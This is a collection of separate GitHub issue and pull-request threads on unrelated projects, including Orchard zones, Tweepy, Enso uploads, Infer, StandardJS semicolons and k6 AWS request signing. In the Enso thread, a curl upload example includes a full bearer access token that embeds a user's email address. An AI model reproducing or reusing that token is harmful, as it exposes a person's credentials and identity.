The ContentZone behavior would not be altered though.

@Piedone @DanielStolt @sfmskywalker @bleroy @BenedekFarkas @pszmyd I value your response on this one (not the others)

Here's my answer: https://github.com/DecentCMS/DecentCMS/blob/master/modules/core/ui/views/zone.js
In other words, no, zones should not render a tag by default. First because it's just a container of shapes that has no other semantics. Second, because it is a shape that is rendered by a shape method and not a template, which makes it a little more complex to override. Even if it was a template, having to copy all the code looping over contents just to change the tag is an excessive burden.
But in doubt, it should just do nothing and let the layout template render a surrounding tag if it wants to. That makes it more discoverable how to change it.
We could also have a general purpose property for all shapes, in the metadata, to override the tag default (which would be null for zone). The layout would set that property to "div" if it wants a div to surround the zone, and this way it doesn't have to test for the shape's contents before it renders the tag. It can just let the zone shape do it.

I'm also for the core behaviour being tag-less, but with a built-in (optional) way of them being enclosed in divs just like today.
Reason: I see the point of not coupling the shapes-related zone tightly with the HTML output-related tags. However in my experience I have never ever seen a case when it wasn't of utility to have zones wrapped into such divs by default (since zone classes are always used in CSS to target elements). So if zones will be bare IMO there should be a built-in way (like the default Layout) of providing the same experience as today (so you can start with something good enough that you can customize if you wish), even if it's different under the hood.
I'd value Sebastien's reply here (not otherwise).

I would say that if a theme wants to render zones differently you could create a Zone.cshtml file. Note that zones don't have to order their items as in O1 they just have to iterate through the Items and call render, so a template is minimalist in this case. At the same time I would personally just update the Layout.cshtml to add the desired tags. So I don't even see why I would use an option if there was one.

I completely agree with tagless zones - one of the first things I do when theming is to override Zone.cshtml to remove the wrapping div. I really like @bleroy's idea adding a general purpose property for this to shapes, which would be null by default for zones.

No tag by default. The user can create a Zone.cshtml to provide a custom template. Initially I was thinking that adding a Tag metadata property may not be that useful. In many cases you'll want to change more than the tag when overriding shape templates. But metadata already has Classes and Attributes, so having a Tag property might complete the set for programmatic manipulation of shape rendering without having to override a template for simple scenarios. Wouldn't hurt to have it.

Correction, I meant to say that Classes and Attributes are properties on the Shape class. So we could introduce a Tag property there, or move these properties into ShapeMetadata. I think it makes sense for Tag, Classes and Attributes to be grouped together.

A general tagless policy seems necessary. O1 is too 'verbose'. Let's us alternates to add html if needed, Opposite way of O1.

@sfmskywalker It's already like this. c.f. https://github.com/OrchardCMS/Orchard2/blob/master/src/Orchard.DisplayManagement/Shapes/Shape.cs#L247-L253
Also there is how you use it from a view: https://github.com/OrchardCMS/Orchard2/blob/master/src/Orchard.Web/Core/Orchard.Core/Navigation/Views/Menu.cshtml#L2

Done


Discrepancy between the Getting Started page and Authentication page in Documentation

Hi,
Sorry if this has been brought up already, I did a brief search and did not find anything relevant.
In the Getting Started page, the very first example asks to use OAuthHandler in the Hello Tweepy code snippet. However, in the Authentication page, in the reference section, it says, OAuthHandler is depricated and to use OAuth1UserHandler instead, esp. as OAuthHandler is getting deprecated from version 4.5, which is the current release.
Am I to assume that the Authentication page is right and the Getting Started page simply hasn't been updated and proceed with OAuth1UserHandler?
Thanks

Yes, OAuthHandler was renamed to OAuth1UserHandler in v4.5.0, with OAuthHandler kept as a deprecated alias.
https://github.com/tweepy/tweepy/commit/12822795fac8eceea6a0c1260a38b304a34ffd13 should resolve any inconsistencies within the library regarding this usage.


Lucid Interface: Provide the ability to retrieve inputs

Pulling the address(es) that were inputs to the specified UTxO is a
common operation that can be used in, for example, vending machines that
automatically dispense NFTs.  This change provides a shim in the Lucid
class that accepts a UTxO and returns a list of all addresses that
provided input to that UTxO.
Note that we build in a backoff loop inside of the function due to
behavior we have seen from Blockfrost in the past where address and txn
APIs are inconsistent.  Addresses may return UTxOs that appear as if
they don't exist when the /txs endpoint is called. These flags can be
manually overridden by the calling application.
[ Documentation: Interfaces updated as needed ]
[ Testing: npm run build, npm test, deployed locally to separate app ]

Local output of npm run build && npm test:
[02:24:55 06/19] $ npm run build && npm test && echo success

<EMAIL_ADDRESS>build
tsdx build --format esm

⠴ Building modules  47%                 1.4s, estimated 3.0s
Circular dependency: src/index.ts -> src/lucid/index.ts -> src/lucid/lucid.ts -> src/utils/index.ts -> src/utils/costmodel.ts -> src/index.ts
✓ Building modules 1.9 secs

<EMAIL_ADDRESS>test
node --no-warnings --experimental-vm-modules node_modules/jest/bin/jest.js

PASS  test/index.test.ts
Testing wallet
✓ PaymentKeyHash length (3 ms)
✓ Address type (1 ms)
✓ No reward address (1 ms)
✓ Switch wallet (1 ms)
✓ Wallet from utxos roundtrip (5 ms)
Datum
✓ Build datum schema
PlutusData
✓ Construct plutus data (1 ms)
✓ Deserialize plutus data (1 ms)
✓ (De)serialize map (1 ms)
✓ More complex datum structure
✓ json datum to cbor datum
Utils
✓ Assets to value
✓ Value to assets
Test Suites: 1 passed, 1 total
Tests:       13 passed, 13 total
Snapshots:   0 total
Time:        2.361 s
Ran all test suites.
success


add line wrap on code blocks

will likely want line numbers in conjunction with this

maybe part of a larger code-block and cmd prompt focused versioned release?

fixed in #93


Opening GitHub Discussions

github has a newish feature called discussions, basically an embedded forum. I feel a bit awkward opening an issue when I mostly have questions or need clarification on something.

Thanks for pointing that out! It's now enabled!


iOS 8 Offsets not resetting

After the animation is complete, the scrollView (in my case UITableView specifically) is remaining offset by about the height of the storeHouse image...
Anyone else having this issue?
Followed demo to the letter.
This is probably the coolest iOS accessory I've seen in ages and would be upset if I couldn't make use of it!!!

NOTE: This only occurs if you do not use a UITableViewController! -- I had a UIViewController with a UITableView in it... oh well.

Same thing happens for me with a UITableViewController.

Add
yourScrollView.setContentOffset(CGPoint(x: 0, y: 0), animated: false)
after
self.storeHouseRefreshControl.finishingLoading()

Example:

func refreshTriggered()
{
    //call your loading method here

    //Finshed loading the data, reset the refresh control
    self.storeHouseRefreshControl.finishingLoading()
    yourScrollView.setContentOffset(CGPoint(x: 0, y: 0), animated: false)
}


Upload and download .enso-projects from the local backend (PM backend)

Pull Request Description

Closes https://github.com/enso-org/cloud-v2/issues/478

Download local project as .enso-project archive

Requires latest nightly version of Project Manager

Closes https://github.com/enso-org/cloud-v2/issues/510

Allow uploading .enso-project to local backend

Closes https://github.com/enso-org/cloud-v2/issues/477

Promote local project to cloud

Currently errors with 500 (when uploading a small bundle) or 413 (when uploading a large bundle). May be fixed soon

Important Notes
None
Checklist
Please ensure that the following checklist has been satisfied before submitting the PR:

[x] The documentation has been updated, if necessary.
[x] Screenshots/screencasts have been attached, if there are any visual changes. For interactive or animated visual changes, a screencast is preferred.
[x] All code follows the
Scala,
Java,
and
Rust
style guides. In case you are using a language not listed above, follow the Rust style guide.
All code has been tested:

[x] Unit tests have been written where possible.
[x] If GUI codebase was changed, the GUI was tested when built using ./run ide build.

(requesting review while marked as draft, because the only issue should be on the PM side)

@somebody1234 please take look here.

@xvcgreg I'll mark as draft temporarily, since there are more significant changes upcoming in https://github.com/enso-org/enso/pull/7377
I think it'd be better to wait until that gets merged in, before fixing conflicts and reopening this PR

@PabloBuchu i think this PR is ready for testing btw

When dropping .enso-project archive and after successful response with created project could we add new project to the table rather than file like? after reload it changes to project

File upload (any not only .enso-project) is sending --data-raw and base64 file content making it corrupted when saving in s3.
Can we use raw binary body? Working curl example
curl --location 'https://7aqkn3tnbc.execute-api.eu-west-1.amazonaws.com/files?file_name=KMeans_32.enso-project&parent_directory_id=directory-2TT9VR2uD0p6xwNDGR0iLYWuQRS' \
--header 'Authorization: Bearer eyJraWQiOiJiVjd1ZExrWTkxU2lVUWRpWVhDSVByRitoSTRYVHlOYTQ2TXhJRDlmY3EwPSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiJjMjk1NWUzZC05OTExLTQzMDYtYjZjMS00MTQ1YWJlZTc4MzEiLCJpc3MiOiJodHRwczpcL1wvY29nbml0by1pZHAuZXUtd2VzdC0xLmFtYXpvbmF3cy5jb21cL2V1LXdlc3QtMV85S3ljdTJTYkQiLCJ2ZXJzaW9uIjoyLCJjbGllbnRfaWQiOiI0ajliZnM4ZTc0MTVlcmY4MmwxMjl2MHFoZSIsIm9yaWdpbl9qdGkiOiIxMjg4Y2M4OS1hZmVlLTRkMGEtOWFkOS04NmYzNzAyNTYxZmQiLCJ0b2tlbl91c2UiOiJhY2Nlc3MiLCJzY29wZSI6ImF3cy5jb2duaXRvLnNpZ25pbi51c2VyLmFkbWluIG9wZW5pZCBlbWFpbCIsImF1dGhfdGltZSI6MTY5MTA1NjIyMCwiZXhwIjoxNjkxMDY2MTI0LCJpYXQiOjE2OTEwNjI1MjQsImp0aSI6IjVjOTU4YzQ1LTIzZTUtNDE4NC1hY2Y2LTVhOWI3MjM3OWMyYiIsInVzZXJuYW1lIjoicGF3ZWwuYnVjaG93c2tpQGVuc28ub3JnIn0.FWe-dzPxjY1g-sDdt-wTNfGfJ-kSYzlVtaxZb1uq2tmEPyQJGq_Wyq8IqalpcdCkP9aVEDf-CVgpOVylVvcaj_gAx0DZeUcOs2l6SCy-ulx4D_yMukR7x_J7t8HOYefRE-oOHdo1mCxetAE9fmCSzIyyZZ8B8JGV4ytgQbbCcDMtn3orMCrQNEsTp8rj0UHSsQPQ9IC3NegnC6ZXK76EZpYgiUd7_C04umwwrm9KAgk67KUPqZOfphnaxV34fXWvpbYOO_UW97WhixuBCFLL036tEbZVMihGB6JqFf2NYTrGWLVgJRTGq8yOzdfmZxdkzunNKkWAOP3PzbJdhQwVnQ' \
--header 'Content-Type: application/octet-stream' \
--data<EMAIL_ADDRESS>

pushed potential fixes, but they are :warning: not tested yet :warning:!
i'll probably test them tomorrow

basic testing (very wip):

:heavy_check_mark: promote project to cloud uploads to cloud
:grey_question: promoting project that has been edited works after uploading to cloud
:grey_question: downloading single project works on local PM
:grey_question: downloading multiple projects works on local PM
:grey_question: can reupload downloaded local project to local PM
:grey_question: can reupload downloaded local project to cloud
:grey_question: uploading file still works correctly
:grey_question: uploading project to cloud still works correctly
:grey_question: uploading a mix of files + projects adds the assets, and in the right order

@PabloBuchu there seem to be some backend issues with uploaded projects (see the last bullet point) - you might want to take a look at those

(merged to pull in some fixes)

ok so when I download and upload a project to cloud it works (the proper files are being send to s3) but when I use Upload to cloud I get 404 with a success (the project is being created properly)

@PabloBuchu oops, the url it's trying to use is wrong. i've pushed a commit that should fix this


memory is not enough when infer analyze a IOS project

when i use infer to check a ios project which size is 178MB , infer analyse the problem takes 30Gb memory  ,so it is interrupted  with exit code (  macbook pro with 8G rom ),is there anybody who can tell me how to analyse such big project?

We are currently working to reduce memory consumption.  Currently there is not much in the way of configuration options to reduce memory consumption.  One possible option is to set skip-clang-analysis-in-path in .inferconfig or on the command line to avoid analyzing particularly problematic code.  Identifying this code is somewhat roundabout, as you need to, while infer is running, observe which InferAnalyze process(es) consume the most memory, look at the command line to see which 'cluster' it is analyzing (clNNN for some number NNN), and then find that cluster in the generated Makefile (infer-out/multicore/Makefile), and look at the comment in that Makefile that indicates which source file(s) the cluster corresponds to.

we also have this problem.

Can you share the command you use to run infer? Some of them are not meant to be passed on large projects, eg --debug.

infer -- xcodebuild -project xx.xcodeproj -scheme xx -configuration Debug -sdk iphonesimulator -arch "i386" ONLY_ACTIVE_ARCH=NO VALID_ARCHS="i386 x86_64" CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO >> result1012.txt

at last , i delete the file in the directory of '/spec' ,then run infer again to get the final result. 3Q @ jberdine

The 0.9.4 release include significant memory consumption improvements, please try that and reopen if this issue remains.


CXF-6343 Support and parse EncryptedHeader

Pull request for the master branch.

Thanks for merging @coheigea
I don't know the policy in CXF but in general is good to keep the original author the author of the commit to trace contributions with regards to the Apache License. And of course it is more inviting for new contributors when they see their commits popup in the code base.

I just downloaded the patch and applied it via "git apply". I wasn't aware that this removed the author. I guess I should have used "git am" instead...apologies.

@coheigea No worries :-)   The important part is the fix and i'm happy it's in!


Abiltiy to complete authentication without leaving the application

Trying to get Authenticating in UIWebView working
+1

:+1:

Hi @rjourde @benjaminboxler
Complete authentication without leaving the application
https://github.com/dongri/OAuthSwift/commit/8b414e4075eaa8d9fa4dc22675b2de2c3dba5da5


RoboCopyJob validates credentials unnecessarily

RoboCopyJob.ps1 always calls Validate-Credential in cc88506f09fcb10ad7616b571eadb792f94d2683, even if it is unnecessary. Just below is code to handle the net use in the case of no username / password:
if($machineShare)
{
    $command = "net use `"$machineShare`""
    if($userName)
    {
        $command += " /user:`"$userName`" `'$password`'"
    }
    $command += " 2>&1"
    $dtl_mapOut = iex $command
...

This restricts the usefulness of the command as I have to authenticate even if anonymous access is permitted.

Thanks for the feedback Matt. We will track this.

update?

We have added this to backlog. However it will be a while before we get there


ARROW-17142: [Python] Parquet FileMetadata.equals() method segfaults when passed None

Fixes : https://issues.apache.org/jira/browse/ARROW-17142

cc: @AlenkaF @jorisvandenbossche

I think this should be ready. Mac CI failure looks irrelevant :)


Standard allows certain unnecessary semicolons

Version: 8.6.0
Example 1: reports the unnecessary semicolon
module.exports = function Foo () {
};

Example 2: no error
module.exports = Foo
function Foo () {
};

Example 3: no error
;
;
module.exports = Foo
function Foo () {
};
;
;

Is this on purpose? Alternately, are we missing an eslint rule, or is there a bug in eslint?

We're missing an eslint rule: no-extra-semi.
We used to enable this, but it was relaxed in 3.1.2. Context here: https://github.com/feross/standard/issues/70
Options are:

Re-enable the rule, though it means that in some circumstances users will need to break the rule "Don't ever start a line with ( or [".

Keep it disabled

See if ESLint would accept a PR that adds an option to the rule to ignore extra semis when they precede a specified whitelist of characters. We would include the full list of ASI gotcha characters: [, (, +, *, /, -, ,, .

though it means that in some circumstances users will need to break the rule

I thought it means the can't break that rule. instead of writing
(function () {
  ...
})()

...they'll have to write something like
foo()
function foo () {
}

i vote #1

though it means that in some circumstances users will need to break the rule

i think it means they have to follow that rule, right?

@dcposch If you have an immediately executing function like this:
;(function () {
  console.log('hey')
})()

It's common to put a semi in front, in case there's something before it that fails with ASI:
console.log('hi')
;(function () { // without the semi, this is interpreted as a function invocation
  console.log('hey')
})()

However, there are certain things that could come before that don't actually require a semi:
if (x) {
  console.log('hi')
}
;(function () { // this semi is technically NOT required
  console.log('hey')
})()

If-statements don't actually require a semi, though it's a good idea to just always put them in before ( and [ if you're omitting semis. The problem is that no-extra-semi will warn about this last case, forcing the user to remove it.
if (x) {
  console.log('hi')
}
(function () { // this is perfectly safe, though it doesn't look like it
  console.log('hey')
})()

So we should go back to use semicolons everywhere! :scream: Haha, just a joke.
I'm for 1 too.

The problem is that no-extra-semi will warn about this last case, forcing the user to remove it.

There's autofix and everyone should use it. The autofix will remove it in that last case, but won't remove it in the example with console.log
console.log('hi')
;(function () { // without the semi, this is interpreted as a function invocation
  console.log('hey')
})()

Above is confirmed.
So I don't see any problems.

I don't know if this should count as part of this thread or opened as a new issue (or if this case is even supported at all), but I have the same issue of Standard allowing semicolons for ES7 class property initializer syntax and static properties
export class Bork {
  // Property initializer syntax
  instanceProperty = 'bork';
  boundFunction = () => {
    return this.instanceProperty
  };

  // Static class properties
  static staticProperty = 'babelIsCool';
  static staticFunction = function () {
    return Bork.staticProperty
  };
}

// standard does not complain about these semicolons.

Hi, seems I found a very old issue. Like @indiesquidge, semicolons are not taken into account for class properties.
I don't know if that has always been like that?
Context: I used a codemod recently that added semicolons everywhere and the ones in class properties aren't picked up or auto-fixable.


Using TensorBoard to plot loss and accuracy

Trying to visualize using TensorBoard in Keras, I added the following few lines for code while training SSD. Searched the web for plotting loss and accuracy in keras using tensorboard, think i am missing out something. Could you guide me here? I'm new to this
from keras.callbacks import TensorBoard
model.compile(optimizer=adam, loss=ssd_loss.compute_loss,metrics=['accuracy'])
tensorboard = TensorBoard(log_dir='./logs', histogram_freq=0,                           write_graph=True, write_images=False,                           update_freq='epoch')
callbacks = [model_checkpoint,              csv_logger,              learning_rate_scheduler,              terminate_on_nan,tensorboard]
I ran this in the terminal

tensorboard  --logdir ./logs --port=8008

I get this while training

OS: Ubuntu 16.04
Keras: 2.2.4
Tensorflow: 1.12.0

@santhoshav15 Hi,Have you solved this problem about drawing the loss and accuracy with TensorBoard? I have encountered some errors，could you please give me the correct code about drawing the loss and accuracy with TensorBoard. Thank you !


V shortcut just opens pop up [Chrome, Todoist v 1020]

It used to go to the move project dialog

save us, Michael! :)
On Mon, Aug 17, 2020 at 12:06 PM GaryFurash<EMAIL_ADDRESS>wrote:

It used to go to the move project dialog
[image: image]
https://user-images.githubusercontent.com/15006133/90417690-f29fc900-e068-11ea-8cb5-38ed14c86df0.png
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/mgsloan/todoist-shortcuts/issues/151, or unsubscribe
https://github.com/notifications/unsubscribe-auth/AJ2TINDN5LE2LPAX54L4BTLSBFIR3ANCNFSM4QBZVBEA
.

Thanks for reporting, my browser's Todoist was still on v1019, so I didn't notice.  Fixed in version 104.


Add support for EKS Blueprints in examples

Add support for EKS Blueprints in our examples for Ocean Spark on AWS. EKS Blueprints are a much easier way to deploy EKS clusters via Terraform in AWS.


ASB-589 Final check your answers

:tada: This PR is included in version 2.5.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:

:tada: This PR is included in version 2.6.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Update hub of hubs modules to v0.4.0

Ref: https://github.com/stolostron/backlog/issues/22361

/LGTM

/LGTM


Asynchronous command handling

I'm wondering if there's anything explicit needing to be done for this once #14 is done.  Once the command bus can be replaced it would be possible to create a bus which puts the command in a queue and then implement a post post processor which returns an Accepted status code.  Beyond this I don't think there is anything specific needing done to support asynchronous command handled.

I'm at a state where I need something like this. We can discuss how we want to tackle it tomorrow, but yeah, this pls.

@JoeStead are you thinking in terms of async/await stuff?  This issue was originally for asynchronous handling of commands by placing them on a queue or something (I don't think there's specific work required for this).  However I don't think it will current setup will work very well with code which needs to be awaited.

@jasonmitchell Ahh. I only had a quick glance at this before going home. Yeah, we're at the point where our Repo is now async (because of the underlying datastore and what not), but having the IHandler interface have a void Handle method is annoying, it would be ace if that was Task Handle

@JoeStead We will just hijack this issue because I was on the verge of closing it because there's no real work for what I originally intended this for anyway.
Right now I can think of the following options (might come up with some more while I think about):

Update IHandler to always return Task
Introduce IAsyncHandler which defines a method returning Task
Introduce an abstract base class with virtual methods for sync & async operations.  Default async implementation would wrap the sync in a Task

Right now I'm leaning towards solution 1; handlers which don't await anything would just have to return a Task (which unfortunately doesn't seem to be that uncommon these days).
Solution 2 would require a huge number of changes the whole way through the project in order to cope with two possible interfaces for command handlers but I'm not going to let that put me off this solution completely.
Solution 3 would work but I would really rather not implement a base class for handlers if it can be avoided.  Plus the way this would need to be implemented could be flakey and open it up for more breakages.

I think the simplest is solution 1, I imagine async handlers are going to be the norm in most cases.
Solution 2 is probably the cleanest, but then we'd need to differentiate between the two when resolving / running them.
Solution 3 is a whole bunch of nope.

@JoeStead Have a look at the PR and see if that does the trick.


Issue with AWS API Gateway signed requests in k6 tests

Dear Team,
We are currently working on integrating k6 tests with our private AWS API Gateway. While doing so, we encountered an issue with performing signed requests using k6 internal libraries.
After some investigation, we found a workaround by modifying the signature implementation in the signature.ts file. Specifically, we changed the request header to accommodate a different hostname value compared to the host value in the header.
The original line in signature.ts:
request.headers[constants.HOST_HEADER] = request.endpoint.hostname

was replaced with:
request.headers[constants.HOST_HEADER] = request.headers.host

This change allowed us to successfully perform requests from the open-source k6 tool to our API. Currently, we have forked the k6-jslib-aws repository. However, we would like to seek clarification on whether this modification indicates an issue in the implementation. Should the change be made on your end, or is there something we may be doing incorrectly on our side?
Your guidance on this matter would be greatly appreciated.

Hey @rgrygorovych,

The original line in signature.ts:
request.headers[constants.HOST_HEADER] = request.endpoint.hostname

was replaced with:
request.headers[constants.HOST_HEADER] = request.headers.host

Looking at the line of code you pointed out, and comparing it to the one you provided, I suspect the problem, in your case, is that the original value of the Host header is being overwritten by request.endpoint.hostname, because I think the line you suggest does nothing: aren't request.headers[constants.HOST_HEADER] and request.headers.host the same thing?
In such case, I'm wondering whether would make sense to slightly modify the current code to only set the value of request.headers[constants.HOST_HEADER] when empty (not set), otherwise just leave the existing value. So, something like that:
if (!request.headers[constants.HOST_HEADER]) {
    request.headers[constants.HOST_HEADER] = request.endpoint.hostname;
}

Do you think that would make sense? Could you verify that would work in your case?
cc/ @oleiade, as you may have more context.
Thanks! 🙇🏻

Out of the blue with my "cache" cold, I think the solution you proposed @joanlopez makes sense indeed. I'd be interested in learning wether that addresses your problem indeed @rgrygorovych.
For context the sign and presign methods were heavily inspired by the implementation the aws-sdk-js v3 had at the time. Unfortunately, it looks like AWS switched to code generation in the meantime, and I can't find that reference code anymore.
Furthermore, we adjusted it to use the request.endpoint instead, in order to cater to users with an "alternative" backend (minIO, digital ocean spaces, etc).
I think we should be open to making changes to it indeed, but we should provide tests ensuring it passes the signature test suite (also ported from the initial AWS implementation), because the SignatureV4 class is key to all our client classes 👍🏻

Hello @oleiade and @joanlopez here is more details related to this, hope you find it helpful.
Context: The team is working on accessing API endpoints that require a signature through a VPC endpoint. The following log outputs illustrate the issue and the suggested change:
Code Before Override:

        console.log("BEFORE")
        console.log("request.headers[constants.HOST_HEADER] = ", request.headers[constants.HOST_HEADER]);
        console.log("request.endpoint.hostname = ", request.endpoint.hostname);
        console.log("request.headers.host = ", request.headers.host);

        request.headers[constants.HOST_HEADER] = request.endpoint.hostname

        console.log("AFTER")
        console.log("request.headers[constants.HOST_HEADER] = ", request.headers[constants.HOST_HEADER]);
        console.log("request.endpoint.hostname = ", request.endpoint.hostname);
        console.log("request.headers.host = ", request.headers.host);

...

Result with failing POST Requests:

time="2024-03-26T19:09:47Z" level=info msg=BEFORE source=console
time="2024-03-26T19:09:47Z" level=info msg="request.headers[constants.HOST_HEADER] =  xxxxxxxxxx.execute-api.us-east-1.amazonaws.com" source=console
time="2024-03-26T19:09:47Z" level=info msg="request.endpoint.hostname =  vpce-yyyyyyyyy-zzzzzzz.execute-api.us-east-1.vpce.amazonaws.com" source=console
time="2024-03-26T19:09:47Z" level=info msg="request.headers.host =  xxxxxxxxxx.execute-api.us-east-1.amazonaws.com" source=console
time="2024-03-26T19:09:47Z" level=info msg=AFTER source=console
time="2024-03-26T19:09:47Z" level=info msg="request.headers[constants.HOST_HEADER] =  vpce-yyyyyyyyy-zzzzzzz.execute-api.us-east-1.vpce.amazonaws.com" source=console
time="2024-03-26T19:09:47Z" level=info msg="request.endpoint.hostname =  vpce-yyyyyyyyy-zzzzzzz.execute-api.us-east-1.vpce.amazonaws.com" source=console
time="2024-03-26T19:09:47Z" level=info msg="request.headers.host =  vpce-yyyyyyyyy-zzzzzzz.execute-api.us-east-1.vpce.amazonaws.com" source=console

Another execution with the proposed change:
Code After Override:

        console.log("BEFORE")
        console.log("request.headers[constants.HOST_HEADER] = ", request.headers[constants.HOST_HEADER]);
        console.log("request.endpoint.hostname = ", request.endpoint.hostname);
        console.log("request.headers.host = ", request.headers.host);

        // Change to accommodate for hostname to be different from host value in header
        if (!request.headers[constants.HOST_HEADER]) {
            request.headers[constants.HOST_HEADER] = request.endpoint.hostname;
        }

        console.log("AFTER")
        console.log("request.headers[constants.HOST_HEADER] = ", request.headers[constants.HOST_HEADER]);
        console.log("request.endpoint.hostname = ", request.endpoint.hostname);
        console.log("request.headers.host = ", request.headers.host);
...

Result with passing POST Requests:

time="2024-03-26T19:05:21Z" level=info msg=BEFORE source=console
time="2024-03-26T19:05:21Z" level=info msg="request.headers[constants.HOST_HEADER] =  xxxxxxxxxx.execute-api.us-east-1.amazonaws.com" source=console
time="2024-03-26T19:05:21Z" level=info msg="request.endpoint.hostname =  vpce-yyyyyyyyy-zzzzzzz.execute-api.us-east-1.vpce.amazonaws.com" source=console
time="2024-03-26T19:05:21Z" level=info msg="request.headers.host =  xxxxxxxxxx.execute-api.us-east-1.amazonaws.com" source=console
time="2024-03-26T19:05:21Z" level=info msg=AFTER source=console
time="2024-03-26T19:05:21Z" level=info msg="request.headers[constants.HOST_HEADER] =  xxxxxxxxxx.execute-api.us-east-1.amazonaws.com" source=console
time="2024-03-26T19:05:21Z" level=info msg="request.endpoint.hostname =  vpce-yyyyyyyyy-zzzzzzz.execute-api.us-east-1.vpce.amazonaws.com" source=console
time="2024-03-26T19:05:21Z" level=info msg="request.headers.host =  xxxxxxxxxx.execute-api.us-east-1.amazonaws.com" source=console

Summary: Requests were failing before the change but succeeded after the change was applied.
We were inspired by the following reference materials:
The fix proposed in a similar issue on the AWS SDK for Ruby GitHub repository: PR #2345.
The documentation on testing invoke URLs for private APIs in the AWS API Gateway Developer Guide: AWS API Gateway Private API Test Invoke URL.

Great! Thanks for such a detailed summary @rgrygorovych!
Do you want to open the pull request with the change agreed? I think you did the hard work, so you definitely deserve the credits for that contribution! 🙇🏻

Great! Thanks for such a detailed summary @rgrygorovych!
Do you want to open the pull request with the change agreed? I think you did the hard work, so you definitely deserve the credits for that contribution! 🙇🏻

sure, just need the permissions.

sure, just need permissions :).

Can you fork it and create the PR from your own fork, please? 🙏🏻

Here is link https://github.com/grafana/k6-jslib-aws/pull/97


feat(dx): warn when addRoute cannot find the parent

This adds a warning when calling router.addRoute('foo', { ... }) if the parent route isn't found.
Without this warning, it can be difficult to tell why addRoute isn't working correctly. With an absolute path, beginning with /, the addition seems to succeed, but the new route won't be a child of the intended parent. With a relative path, it'll fail to add the new route, but with a confusing error about the path being invalid.
I've also added a test for the similar warning in removeRoute, though the warning itself already existed.

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 90.90%. Comparing base (13303bd) to head (364cd04).

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@           Coverage Diff           @@
##             main    #2157   +/-   ##
=======================================
  Coverage   90.90%   90.90%
=======================================
  Files          24       24
  Lines        1121     1121
  Branches      347      347
=======================================
  Hits         1019     1019
  Misses         63       63
  Partials       39       39

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Support gzip encoding for rest API

In order to minimise bandwidth, for rest API users that want to, it would be beneficial to support delivering etcd content in gzip format. Users that want that feature would send the Accept-Encoding: gzip header and etcd would return the content gzipped with the Content-Encoding: gzip header.
We could run etcd behind a dispatcher in order to perform the same, but would it be ok (for consistency) to run an extra piece of infrastructure (proxying requests) in front of etcd instances ?

@tmaret I think this should be ok.

Thanks for your insight. Is running etcd behind a dispatcher the recommended setup ?
If not, wouldn't it make sense to add support for gzip in the etcd server itself ?
It would allow to avoid adding extra components that can fail as well as keep the resource footprint of an etcd setup low (which is something nice about etcd).

@tmaret I think you can gzip the content yourself. etcd has no plan to support it in short term (we have frozen v2 api)


Neurips2021 migrate predict modality

$ src/tasks/predict_modality/workflows/run/run_test.sh
N E X T F L O W  ~  version 23.04.2
Launching `src/tasks/predict_modality/workflows/run/main.nf` [elegant_brahmagupta] DSL2 - revision: 12b3e62960
executor >  local (10)
[9f/c2c5c3] process > run_wf:run_components_wf:meanpergene:meanpergene_process (pancreas.meanpergene)          [100%] 1 of 1, cached: 1 ✔
[d9/14acfc] process > run_wf:run_components_wf:random_predict:random_predict_process (pancreas.random_predict) [100%] 1 of 1, cached: 1 ✔
[58/9053e9] process > run_wf:run_components_wf:zeros:zeros_process (pancreas.zeros)                            [100%] 1 of 1, cached: 1 ✔
[fb/3be46e] process > run_wf:run_components_wf:solution:solution_process (pancreas.solution)                   [100%] 1 of 1, cached: 1 ✔
[76/2dd707] process > run_wf:run_components_wf:knnr_py:knnr_py_process (pancreas.knnr_py)                      [100%] 1 of 1, cached: 1 ✔
[ae/b10a58] process > run_wf:run_components_wf:knnr_r:knnr_r_process (pancreas.knnr_r)                         [100%] 1 of 1, cached: 1 ✔
[fd/289e1b] process > run_wf:run_components_wf:lm:lm_process (pancreas.lm)                                     [100%] 1 of 1, cached: 1 ✔
[9e/33cf96] process > run_wf:run_components_wf:newwave_knnr:newwave_knnr_process (pancreas.newwave_knnr)       [100%] 1 of 1, cached: 1 ✔
[76/dd4bdf] process > run_wf:run_components_wf:random_forest:random_forest_process (pancreas.random_forest)    [100%] 1 of 1, cached: 1 ✔
[bb/fdae7b] process > run_wf:run_components_wf:correlation:correlation_process (pancreas.newwave_knnr)         [100%] 9 of 9 ✔
[ff/ad1758] process > run_wf:run_components_wf:mse:mse_process (pancreas.zeros)                                [100%] 9 of 9, cached: 9 ✔
[31/96fda0] process > run_wf:extract_scores:extract_scores_process (output)                                    [100%] 1 of 1 ✔

:)

I extended the run_test.sh because some components run code conditionally on whether the dataset is atac or cite.
$ src/tasks/predict_modality/workflows/run/run_test.sh
N E X T F L O W  ~  version 23.04.2
Launching `src/tasks/predict_modality/workflows/run/main.nf` [extravagant_avogadro] DSL2 - revision: 12b3e62960
executor >  local (109)
[92/a7ad98] process > run_wf:run_components_wf:meanpergene:meanpergene_process (bmmc_multiome_starter.meanpergene)            [100%] 4 of 4 ✔
[79/5bc863] process > run_wf:run_components_wf:random_predict:random_predict_process (bmmc_multiome_starter.random_predict)   [100%] 4 of 4 ✔
[f5/e2c25a] process > run_wf:run_components_wf:zeros:zeros_process (bmmc_multiome_starter.zeros)                              [100%] 4 of 4 ✔
[e8/d245cf] process > run_wf:run_components_wf:solution:solution_process (bmmc_multiome_starter.solution)                     [100%] 4 of 4 ✔
[cc/4f2045] process > run_wf:run_components_wf:knnr_py:knnr_py_process (bmmc_multiome_starter_swapped.knnr_py)                [100%] 4 of 4 ✔
[85/c1bf2c] process > run_wf:run_components_wf:knnr_r:knnr_r_process (bmmc_cite_starter.knnr_r)                               [100%] 4 of 4 ✔
[9f/91d60d] process > run_wf:run_components_wf:lm:lm_process (bmmc_multiome_starter_swapped.lm)                               [100%] 4 of 4 ✔
[5b/dd7fb5] process > run_wf:run_components_wf:newwave_knnr:newwave_knnr_process (bmmc_multiome_starter_swapped.newwave_knnr) [100%] 4 of 4 ✔
